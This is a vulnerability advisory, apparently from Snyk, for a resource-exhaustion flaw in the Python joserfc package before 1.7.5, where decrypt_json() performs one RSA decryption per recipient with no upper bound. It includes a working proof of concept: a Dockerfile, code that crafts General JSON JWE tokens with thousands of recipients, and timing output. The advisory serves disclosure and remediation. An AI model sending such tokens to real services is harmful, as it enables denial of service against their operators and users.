Allocation of Resources Without Limits or Throttling Affecting joserfc package, versions [,1.7.5)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.23% (14th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-JOSERFC-22132199
  • published2 Nov 2026
  • disclosed30 Oct 2026
  • creditEQSTLab, Seyong Kim

Introduced: 30 Oct 2026

NewCVE-2026-119283  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade joserfc to version 1.7.5 or higher.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via decrypt_json() in JWE General JSON Serialization processing, where an attacker can supply a token containing an unbounded number of recipients, each of which triggers a full RSA private-key decryption operation. Because no upper bound on recipient count was enforced prior to the fix, processing time scales linearly with the attacker-controlled recipient count, exhausting CPU resources. The verify_all_recipients=False flag does not mitigate the cost, as the fix confirms by also adding an early-exit optimization alongside the new max_recipients limit.

PoC

Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.

Environment setup (Dockerfile):

FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]

Build and run (source is used unmodified; container has no network access):

docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500

PoC logic (poc.py): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (GeneralJSONEncryption) wrapping a small plaintext with an attacker-chosen number n of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API joserfc.jwe.decrypt_json() and measures wall-clock decrypt time, once with verify_all_recipients=True and once with verify_all_recipients=False.

def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes

def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float: registry = JWERegistry(verify_all_recipients=verify_all_recipients) t0 = time.perf_counter() out = jwe.decrypt_json(token, private_key, registry=registry) dt = time.perf_counter() - t0 assert out.plaintext == b"hello" return dt

Observed results (Phase 2, inside the Docker container, --network none, unmodified source):

[*] Attacker crafts General JSON JWE with recipients=1 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
       no upper bound, and verify_all_recipients=False did not mitigate the cost.

Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, plaintext=b'hello' was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.

In all cases, verify_all_recipients=False produced decrypt times statistically identical to verify_all_recipients=True for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.

Note: The PoC runs inside a Docker container based on python:3.12-slim with joserfc installed from unmodified local source, with no network access.

CVSS Base Scores

version 4.0
version 3.1